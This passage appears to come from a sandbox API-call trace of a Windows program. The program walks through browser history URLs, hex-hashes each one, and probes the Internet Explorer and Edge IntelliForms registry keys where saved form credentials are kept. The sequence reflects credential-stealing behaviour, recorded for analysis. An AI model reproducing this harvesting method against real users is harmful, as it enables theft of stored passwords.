lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6A2", lpString2="7E" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6A27E") returned="8A17EEF8AA98F280ACD9D730533C5A33B6A27E" [0053.610] LocalFree (hMem=0x754fb0) returned 0x0 [0053.610] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="27") returned 2 [0053.610] lstrlenA (lpString="8A17EEF8AA98F280ACD9D730533C5A33B6A27E") returned 38 [0053.610] lstrlenA (lpString="27") returned 2 [0053.610] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750de0 [0053.610] lstrcpyA (in: lpString1=0x750de0, lpString2="8A17EEF8AA98F280ACD9D730533C5A33B6A27E" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6A27E") returned="8A17EEF8AA98F280ACD9D730533C5A33B6A27E" [0053.610] lstrcatA (in: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6A27E", lpString2="27" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6A27E27") returned="8A17EEF8AA98F280ACD9D730533C5A33B6A27E27" [0053.610] LocalFree (hMem=0x755060) returned 0x0 [0053.610] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E0") returned 2 [0053.610] lstrlenA (lpString="8A17EEF8AA98F280ACD9D730533C5A33B6A27E27") returned 40 [0053.610] lstrlenA (lpString="E0") returned 2 [0053.610] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750f50 [0053.610] lstrcpyA (in: lpString1=0x750f50, lpString2="8A17EEF8AA98F280ACD9D730533C5A33B6A27E27" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6A27E27") returned="8A17EEF8AA98F280ACD9D730533C5A33B6A27E27" [0053.610] lstrcatA (in: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6A27E27", lpString2="E0" | out: lpString1="8A17EEF8AA98F280ACD9D730533C5A33B6A27E27E0") returned="8A17EEF8AA98F280ACD9D730533C5A33B6A27E27E0" [0053.610] LocalFree (hMem=0x750de0) returned 0x0 [0053.610] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.610] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.610] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.610] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.610] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.610] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.610] LocalFree (hMem=0x750f50) returned 0x0 [0053.610] CoTaskMemFree (pv=0x754f00) [0053.610] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.610] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/kjJM-J.pptx", lpSrch="?") returned 0x0 [0053.610] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/kjJM-J.pptx") returned 55 [0053.610] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="81") returned 2 [0053.611] lstrlenA (lpString="") returned 0 [0053.611] lstrlenA (lpString="81") returned 2 [0053.611] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760510 [0053.611] lstrcpyA (in: lpString1=0x760510, lpString2="" | out: lpString1="") returned="" [0053.611] lstrcatA (in: lpString1="", lpString2="81" | out: lpString1="81") returned="81" [0053.611] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FE") returned 2 [0053.611] lstrlenA (lpString="81") returned 2 [0053.611] lstrlenA (lpString="FE") returned 2 [0053.611] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7605a0 [0053.611] lstrcpyA (in: lpString1=0x7605a0, lpString2="81" | out: lpString1="81") returned="81" [0053.611] lstrcatA (in: lpString1="81", lpString2="FE" | out: lpString1="81FE") returned="81FE" [0053.611] LocalFree (hMem=0x760510) returned 0x0 [0053.611] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9D") returned 2 [0053.611] lstrlenA (lpString="81FE") returned 4 [0053.611] lstrlenA (lpString="9D") returned 2 [0053.611] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760510 [0053.611] lstrcpyA (in: lpString1=0x760510, lpString2="81FE" | out: lpString1="81FE") returned="81FE" [0053.611] lstrcatA (in: lpString1="81FE", lpString2="9D" | out: lpString1="81FE9D") returned="81FE9D" [0053.611] LocalFree (hMem=0x7605a0) returned 0x0 [0053.611] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BD") returned 2 [0053.611] lstrlenA (lpString="81FE9D") returned 6 [0053.611] lstrlenA (lpString="BD") returned 2 [0053.611] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.611] lstrcpyA (in: lpString1=0x7633b8, lpString2="81FE9D" | out: lpString1="81FE9D") returned="81FE9D" [0053.611] lstrcatA (in: lpString1="81FE9D", lpString2="BD" | out: lpString1="81FE9DBD") returned="81FE9DBD" [0053.611] LocalFree (hMem=0x760510) returned 0x0 [0053.611] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1B") returned 2 [0053.611] lstrlenA (lpString="81FE9DBD") returned 8 [0053.611] lstrlenA (lpString="1B") returned 2 [0053.611] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x76a200 [0053.611] lstrcpyA (in: lpString1=0x76a200, lpString2="81FE9DBD" | out: lpString1="81FE9DBD") returned="81FE9DBD" [0053.611] lstrcatA (in: lpString1="81FE9DBD", lpString2="1B" | out: lpString1="81FE9DBD1B") returned="81FE9DBD1B" [0053.611] LocalFree (hMem=0x7633b8) returned 0x0 [0053.611] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8E") returned 2 [0053.611] lstrlenA (lpString="81FE9DBD1B") returned 10 [0053.611] lstrlenA (lpString="8E") returned 2 [0053.611] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.611] lstrcpyA (in: lpString1=0x7633b8, lpString2="81FE9DBD1B" | out: lpString1="81FE9DBD1B") returned="81FE9DBD1B" [0053.611] lstrcatA (in: lpString1="81FE9DBD1B", lpString2="8E" | out: lpString1="81FE9DBD1B8E") returned="81FE9DBD1B8E" [0053.611] LocalFree (hMem=0x76a200) returned 0x0 [0053.611] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5E") returned 2 [0053.611] lstrlenA (lpString="81FE9DBD1B8E") returned 12 [0053.611] lstrlenA (lpString="5E") returned 2 [0053.611] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a200 [0053.611] lstrcpyA (in: lpString1=0x76a200, lpString2="81FE9DBD1B8E" | out: lpString1="81FE9DBD1B8E") returned="81FE9DBD1B8E" [0053.611] lstrcatA (in: lpString1="81FE9DBD1B8E", lpString2="5E" | out: lpString1="81FE9DBD1B8E5E") returned="81FE9DBD1B8E5E" [0053.611] LocalFree (hMem=0x7633b8) returned 0x0 [0053.611] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E4") returned 2 [0053.611] lstrlenA (lpString="81FE9DBD1B8E5E") returned 14 [0053.611] lstrlenA (lpString="E4") returned 2 [0053.611] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763658 [0053.611] lstrcpyA (in: lpString1=0x763658, lpString2="81FE9DBD1B8E5E" | out: lpString1="81FE9DBD1B8E5E") returned="81FE9DBD1B8E5E" [0053.611] lstrcatA (in: lpString1="81FE9DBD1B8E5E", lpString2="E4" | out: lpString1="81FE9DBD1B8E5EE4") returned="81FE9DBD1B8E5EE4" [0053.611] LocalFree (hMem=0x76a200) returned 0x0 [0053.611] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2D") returned 2 [0053.611] lstrlenA (lpString="81FE9DBD1B8E5EE4") returned 16 [0053.611] lstrlenA (lpString="2D") returned 2 [0053.611] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763518 [0053.611] lstrcpyA (in: lpString1=0x763518, lpString2="81FE9DBD1B8E5EE4" | out: lpString1="81FE9DBD1B8E5EE4") returned="81FE9DBD1B8E5EE4" [0053.612] lstrcatA (in: lpString1="81FE9DBD1B8E5EE4", lpString2="2D" | out: lpString1="81FE9DBD1B8E5EE42D") returned="81FE9DBD1B8E5EE42D" [0053.612] LocalFree (hMem=0x763658) returned 0x0 [0053.612] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="58") returned 2 [0053.612] lstrlenA (lpString="81FE9DBD1B8E5EE42D") returned 18 [0053.612] lstrlenA (lpString="58") returned 2 [0053.612] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763658 [0053.612] lstrcpyA (in: lpString1=0x763658, lpString2="81FE9DBD1B8E5EE42D" | out: lpString1="81FE9DBD1B8E5EE42D") returned="81FE9DBD1B8E5EE42D" [0053.612] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D", lpString2="58" | out: lpString1="81FE9DBD1B8E5EE42D58") returned="81FE9DBD1B8E5EE42D58" [0053.612] LocalFree (hMem=0x763518) returned 0x0 [0053.612] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="81") returned 2 [0053.612] lstrlenA (lpString="81FE9DBD1B8E5EE42D58") returned 20 [0053.612] lstrlenA (lpString="81") returned 2 [0053.612] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763518 [0053.612] lstrcpyA (in: lpString1=0x763518, lpString2="81FE9DBD1B8E5EE42D58" | out: lpString1="81FE9DBD1B8E5EE42D58") returned="81FE9DBD1B8E5EE42D58" [0053.612] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D58", lpString2="81" | out: lpString1="81FE9DBD1B8E5EE42D5881") returned="81FE9DBD1B8E5EE42D5881" [0053.612] LocalFree (hMem=0x763658) returned 0x0 [0053.612] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F3") returned 2 [0053.612] lstrlenA (lpString="81FE9DBD1B8E5EE42D5881") returned 22 [0053.612] lstrlenA (lpString="F3") returned 2 [0053.612] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.612] lstrcpyA (in: lpString1=0x758820, lpString2="81FE9DBD1B8E5EE42D5881" | out: lpString1="81FE9DBD1B8E5EE42D5881") returned="81FE9DBD1B8E5EE42D5881" [0053.612] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D5881", lpString2="F3" | out: lpString1="81FE9DBD1B8E5EE42D5881F3") returned="81FE9DBD1B8E5EE42D5881F3" [0053.612] LocalFree (hMem=0x763518) returned 0x0 [0053.612] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0F") returned 2 [0053.612] lstrlenA (lpString="81FE9DBD1B8E5EE42D5881F3") returned 24 [0053.612] lstrlenA (lpString="0F") returned 2 [0053.612] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758b68 [0053.612] lstrcpyA (in: lpString1=0x758b68, lpString2="81FE9DBD1B8E5EE42D5881F3" | out: lpString1="81FE9DBD1B8E5EE42D5881F3") returned="81FE9DBD1B8E5EE42D5881F3" [0053.612] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D5881F3", lpString2="0F" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F") returned="81FE9DBD1B8E5EE42D5881F30F" [0053.612] LocalFree (hMem=0x758820) returned 0x0 [0053.612] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2A") returned 2 [0053.612] lstrlenA (lpString="81FE9DBD1B8E5EE42D5881F30F") returned 26 [0053.612] lstrlenA (lpString="2A") returned 2 [0053.612] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.612] lstrcpyA (in: lpString1=0x758820, lpString2="81FE9DBD1B8E5EE42D5881F30F" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F") returned="81FE9DBD1B8E5EE42D5881F30F" [0053.612] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D5881F30F", lpString2="2A" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2A") returned="81FE9DBD1B8E5EE42D5881F30F2A" [0053.612] LocalFree (hMem=0x758b68) returned 0x0 [0053.612] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EE") returned 2 [0053.612] lstrlenA (lpString="81FE9DBD1B8E5EE42D5881F30F2A") returned 28 [0053.612] lstrlenA (lpString="EE") returned 2 [0053.612] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758b68 [0053.612] lstrcpyA (in: lpString1=0x758b68, lpString2="81FE9DBD1B8E5EE42D5881F30F2A" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2A") returned="81FE9DBD1B8E5EE42D5881F30F2A" [0053.612] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D5881F30F2A", lpString2="EE" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEE") returned="81FE9DBD1B8E5EE42D5881F30F2AEE" [0053.612] LocalFree (hMem=0x758820) returned 0x0 [0053.612] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A7") returned 2 [0053.612] lstrlenA (lpString="81FE9DBD1B8E5EE42D5881F30F2AEE") returned 30 [0053.612] lstrlenA (lpString="A7") returned 2 [0053.612] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754f00 [0053.612] lstrcpyA (in: lpString1=0x754f00, lpString2="81FE9DBD1B8E5EE42D5881F30F2AEE" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEE") returned="81FE9DBD1B8E5EE42D5881F30F2AEE" [0053.612] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEE", lpString2="A7" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7") returned="81FE9DBD1B8E5EE42D5881F30F2AEEA7" [0053.612] LocalFree (hMem=0x758b68) returned 0x0 [0053.612] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A2") returned 2 [0053.612] lstrlenA (lpString="81FE9DBD1B8E5EE42D5881F30F2AEEA7") returned 32 [0053.612] lstrlenA (lpString="A2") returned 2 [0053.612] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x755060 [0053.612] lstrcpyA (in: lpString1=0x755060, lpString2="81FE9DBD1B8E5EE42D5881F30F2AEEA7" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7") returned="81FE9DBD1B8E5EE42D5881F30F2AEEA7" [0053.612] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7", lpString2="A2" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2") returned="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2" [0053.612] LocalFree (hMem=0x754f00) returned 0x0 [0053.613] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="26") returned 2 [0053.613] lstrlenA (lpString="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2") returned 34 [0053.613] lstrlenA (lpString="26") returned 2 [0053.613] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754f00 [0053.613] lstrcpyA (in: lpString1=0x754f00, lpString2="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2") returned="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2" [0053.613] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2", lpString2="26" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A226") returned="81FE9DBD1B8E5EE42D5881F30F2AEEA7A226" [0053.613] LocalFree (hMem=0x755060) returned 0x0 [0053.613] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="11") returned 2 [0053.613] lstrlenA (lpString="81FE9DBD1B8E5EE42D5881F30F2AEEA7A226") returned 36 [0053.613] lstrlenA (lpString="11") returned 2 [0053.613] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x755060 [0053.613] lstrcpyA (in: lpString1=0x755060, lpString2="81FE9DBD1B8E5EE42D5881F30F2AEEA7A226" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A226") returned="81FE9DBD1B8E5EE42D5881F30F2AEEA7A226" [0053.613] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A226", lpString2="11" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A22611") returned="81FE9DBD1B8E5EE42D5881F30F2AEEA7A22611" [0053.613] LocalFree (hMem=0x754f00) returned 0x0 [0053.613] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="37") returned 2 [0053.613] lstrlenA (lpString="81FE9DBD1B8E5EE42D5881F30F2AEEA7A22611") returned 38 [0053.613] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750f50 [0053.613] lstrcpyA (in: lpString1=0x750f50, lpString2="81FE9DBD1B8E5EE42D5881F30F2AEEA7A22611" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A22611") returned="81FE9DBD1B8E5EE42D5881F30F2AEEA7A22611" [0053.613] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A22611", lpString2="37" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2261137") returned="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2261137" [0053.613] LocalFree (hMem=0x755060) returned 0x0 [0053.613] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9B") returned 2 [0053.613] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750de0 [0053.613] lstrcpyA (in: lpString1=0x750de0, lpString2="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2261137" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2261137") returned="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2261137" [0053.613] lstrcatA (in: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A2261137", lpString2="9B" | out: lpString1="81FE9DBD1B8E5EE42D5881F30F2AEEA7A22611379B") returned="81FE9DBD1B8E5EE42D5881F30F2AEEA7A22611379B" [0053.613] LocalFree (hMem=0x750f50) returned 0x0 [0053.613] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.613] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.613] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.613] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.613] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.613] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.613] LocalFree (hMem=0x750de0) returned 0x0 [0053.613] CoTaskMemFree (pv=0x762640) [0053.613] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.614] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/rkSr9G.mkv", lpSrch="?") returned 0x0 [0053.614] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/rkSr9G.mkv") returned 83 [0053.614] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F8") returned 2 [0053.614] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760510 [0053.614] lstrcpyA (in: lpString1=0x760510, lpString2="" | out: lpString1="") returned="" [0053.614] lstrcatA (in: lpString1="", lpString2="F8" | out: lpString1="F8") returned="F8" [0053.614] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="05") returned 2 [0053.614] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7605a0 [0053.614] lstrcpyA (in: lpString1=0x7605a0, lpString2="F8" | out: lpString1="F8") returned="F8" [0053.614] lstrcatA (in: lpString1="F8", lpString2="05" | out: lpString1="F805") returned="F805" [0053.614] LocalFree (hMem=0x760510) returned 0x0 [0053.614] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4F") returned 2 [0053.614] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760510 [0053.614] lstrcpyA (in: lpString1=0x760510, lpString2="F805" | out: lpString1="F805") returned="F805" [0053.614] lstrcatA (in: lpString1="F805", lpString2="4F" | out: lpString1="F8054F") returned="F8054F" [0053.614] LocalFree (hMem=0x7605a0) returned 0x0 [0053.614] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="06") returned 2 [0053.614] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.614] lstrcpyA (in: lpString1=0x7633b8, lpString2="F8054F" | out: lpString1="F8054F") returned="F8054F" [0053.614] lstrcatA (in: lpString1="F8054F", lpString2="06" | out: lpString1="F8054F06") returned="F8054F06" [0053.614] LocalFree (hMem=0x760510) returned 0x0 [0053.614] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="20") returned 2 [0053.614] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x76a200 [0053.614] lstrcpyA (in: lpString1=0x76a200, lpString2="F8054F06" | out: lpString1="F8054F06") returned="F8054F06" [0053.614] lstrcatA (in: lpString1="F8054F06", lpString2="20" | out: lpString1="F8054F0620") returned="F8054F0620" [0053.614] LocalFree (hMem=0x7633b8) returned 0x0 [0053.614] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AD") returned 2 [0053.614] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.614] lstrcpyA (in: lpString1=0x7633b8, lpString2="F8054F0620" | out: lpString1="F8054F0620") returned="F8054F0620" [0053.614] lstrcatA (in: lpString1="F8054F0620", lpString2="AD" | out: lpString1="F8054F0620AD") returned="F8054F0620AD" [0053.614] LocalFree (hMem=0x76a200) returned 0x0 [0053.614] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="41") returned 2 [0053.614] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a200 [0053.614] lstrcpyA (in: lpString1=0x76a200, lpString2="F8054F0620AD" | out: lpString1="F8054F0620AD") returned="F8054F0620AD" [0053.614] lstrcatA (in: lpString1="F8054F0620AD", lpString2="41" | out: lpString1="F8054F0620AD41") returned="F8054F0620AD41" [0053.614] LocalFree (hMem=0x7633b8) returned 0x0 [0053.614] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E9") returned 2 [0053.614] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763518 [0053.614] lstrcpyA (in: lpString1=0x763518, lpString2="F8054F0620AD41" | out: lpString1="F8054F0620AD41") returned="F8054F0620AD41" [0053.614] lstrcatA (in: lpString1="F8054F0620AD41", lpString2="E9" | out: lpString1="F8054F0620AD41E9") returned="F8054F0620AD41E9" [0053.614] LocalFree (hMem=0x76a200) returned 0x0 [0053.614] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5C") returned 2 [0053.614] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763658 [0053.614] lstrcpyA (in: lpString1=0x763658, lpString2="F8054F0620AD41E9" | out: lpString1="F8054F0620AD41E9") returned="F8054F0620AD41E9" [0053.614] lstrcatA (in: lpString1="F8054F0620AD41E9", lpString2="5C" | out: lpString1="F8054F0620AD41E95C") returned="F8054F0620AD41E95C" [0053.614] LocalFree (hMem=0x763518) returned 0x0 [0053.614] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="16") returned 2 [0053.614] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763518 [0053.614] lstrcpyA (in: lpString1=0x763518, lpString2="F8054F0620AD41E95C" | out: lpString1="F8054F0620AD41E95C") returned="F8054F0620AD41E95C" [0053.615] lstrcatA (in: lpString1="F8054F0620AD41E95C", lpString2="16" | out: lpString1="F8054F0620AD41E95C16") returned="F8054F0620AD41E95C16" [0053.615] LocalFree (hMem=0x763658) returned 0x0 [0053.615] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E8") returned 2 [0053.615] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763658 [0053.615] lstrcpyA (in: lpString1=0x763658, lpString2="F8054F0620AD41E95C16" | out: lpString1="F8054F0620AD41E95C16") returned="F8054F0620AD41E95C16" [0053.615] lstrcatA (in: lpString1="F8054F0620AD41E95C16", lpString2="E8" | out: lpString1="F8054F0620AD41E95C16E8") returned="F8054F0620AD41E95C16E8" [0053.615] LocalFree (hMem=0x763518) returned 0x0 [0053.615] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C1") returned 2 [0053.615] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758b68 [0053.615] lstrcpyA (in: lpString1=0x758b68, lpString2="F8054F0620AD41E95C16E8" | out: lpString1="F8054F0620AD41E95C16E8") returned="F8054F0620AD41E95C16E8" [0053.615] lstrcatA (in: lpString1="F8054F0620AD41E95C16E8", lpString2="C1" | out: lpString1="F8054F0620AD41E95C16E8C1") returned="F8054F0620AD41E95C16E8C1" [0053.615] LocalFree (hMem=0x763658) returned 0x0 [0053.615] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="51") returned 2 [0053.615] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758cb8 [0053.615] lstrcpyA (in: lpString1=0x758cb8, lpString2="F8054F0620AD41E95C16E8C1" | out: lpString1="F8054F0620AD41E95C16E8C1") returned="F8054F0620AD41E95C16E8C1" [0053.615] lstrcatA (in: lpString1="F8054F0620AD41E95C16E8C1", lpString2="51" | out: lpString1="F8054F0620AD41E95C16E8C151") returned="F8054F0620AD41E95C16E8C151" [0053.615] LocalFree (hMem=0x758b68) returned 0x0 [0053.615] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="65") returned 2 [0053.615] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758b68 [0053.615] lstrcpyA (in: lpString1=0x758b68, lpString2="F8054F0620AD41E95C16E8C151" | out: lpString1="F8054F0620AD41E95C16E8C151") returned="F8054F0620AD41E95C16E8C151" [0053.615] lstrcatA (in: lpString1="F8054F0620AD41E95C16E8C151", lpString2="65" | out: lpString1="F8054F0620AD41E95C16E8C15165") returned="F8054F0620AD41E95C16E8C15165" [0053.615] LocalFree (hMem=0x758cb8) returned 0x0 [0053.615] wsprintfA (in: 